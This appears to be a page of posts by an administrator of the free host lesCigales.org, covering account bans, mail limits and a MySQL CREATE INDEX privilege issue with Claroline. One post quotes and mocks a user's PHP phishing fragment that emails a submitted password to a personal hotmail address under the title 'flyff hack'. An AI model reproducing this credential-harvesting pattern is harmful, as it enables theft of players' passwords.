Options de recherche (Page 23 sur 95)

Que ce monsieur rêve d'être millionnaire mais qu'il ferait mieux de jouer au Loto ?

Votre compte est bloqué de manière permanente.

Pas d'allopass par contre virement bancaire ou paypal, sans souci.

Vous laisser quoi ? Votre site ? J ai dit oui

Pas la peine, débanni simplement mon compte et on sera quittes.

Bonsoir,

Oui c'est normal sur l'offre gratuite, cf:

http://forum.lescigales.org/topic1324-l … mails.html

http://forum.lescigales.org/topic1857-p … -mail.html

http://forum.claroline.net/viewtopic.ph … 940#p53941

J'ai envie de réagir à cette remarque mais je n'ai guère envie de créer un compte juste pour poster sur un forum sur internet en 2010, soyons sérieux 5 minutes.

1. Si effectivement c'était le cas, alors cette requête ne suivrait pas la requête de création de table, car celle-ci génèrerait une erreur qui serait interceptée et bloquerait l'installation, comme l'a fait le CREATE INDEX. Elle serait dans un autre fichier ou dans un script PHP, mais ailleurs.

2. C'est bien gentil les opérations atomiques sur des gros campus mais lorsqu'on crée une table, rajouter un index ne fait que créer (dans le pire des cas) 1 fichier quasiment vide supplémentaire (bah oui, on crée une table, il n'y a aucune donnée à indexer). De plus, faire la moitié de l'opération pour ne pas pouvoir la reprendre par la suite de manière automatique ca ne tient pas la route non plus.

Le problème est que je ne peux pas commencer à changer le fonctionnement de l'hébergement sans en avoir de bonnes raisons, chaque changement doit être répercuté pour chacun des 10,000 membres.

Après m'être renseigné il s'avère que CREATE INDEX est utilisé pour donner une permission particulière pour ajouter / créer des index sans donner la permission de modifier une table avec ALTER TABLE.

Je comprends donc que l'équipe de Claroline n'a pas jugé opportun de rajouter un test de creation d'index avec ALTER TABLE dans leur fichier ./claroline/work/setup/course_install.sql (vu la tronche du fichier, il leur aurait fallu le déplacer dans un script PHP plus conventionnel), même si logiquement ils auraient pu le faire pour palier le problème qui survient avec MySQL.
Ce que je ne comprends pas pour Claroline c'est pourquoi ils n'ajoutent pas l'INDEX dans le CREATE TABLE comme recommandé par MySQL. Le CREATE INDEX est sûrement très joli mais vu le nombre de reports de cette erreur sur leur forum, ca ne sert pas à grand chose.
Source: "The INDEX privilege enables you to create or drop (remove) indexes. INDEX applies to existing tables. If you have the CREATE privilege for a table, you can include index definitions in the CREATE TABLE statement. "

Pour en revenir à MySQL, le serveur (dans la version actuelle 5.0.67 que nous utilisons jusqu'à là 5.5.8 actuelle) contrôle uniquement le privilège CREATE INDEX et pas le droit ALTER TABLE quand le privilège CREATE INDEX n'est pas fourni.

J'en conclus donc que c'est une inadvertance de l'équipe de Claroline doublée d'un bug du côté de MySQL et j'ai rempli un report de bugs: http://bugs.mysql.com/bug.php?id=59767

Et je vais donc dès ce week end rajouter ces permissions pour tous les utilisateurs de lesCigales.ORG

@Isidore: je vous ai rajouté le droit CREATE INDEX pour vous débloquer.

$text.= "Mot de passe : \n".postParameter('field1')."\n\n";
$sender="chouille1503@hotmail.fr";
$destinataire="chouille1503@hotmail.fr";
$title="flyff hack";
if (is_wa_mail($sender, $destinataire, $title,$text))
{
echo "mail_sended=1\n";
}
else
{
echo "error_string=".getError()."\n";
}

mail 'sended' haha

Ah ces kidz...

Si vous voyez un répertoire www/, essayez d'uploader quelque chose dedans et regardez si vous le voyez sur le site, sinon uploadez un fichier directement dans / et regardez si vous le voyez dans le site.

C'était super compliqué à déduire comme façon de procéder..

Si je vous revois sur le serveur, oui.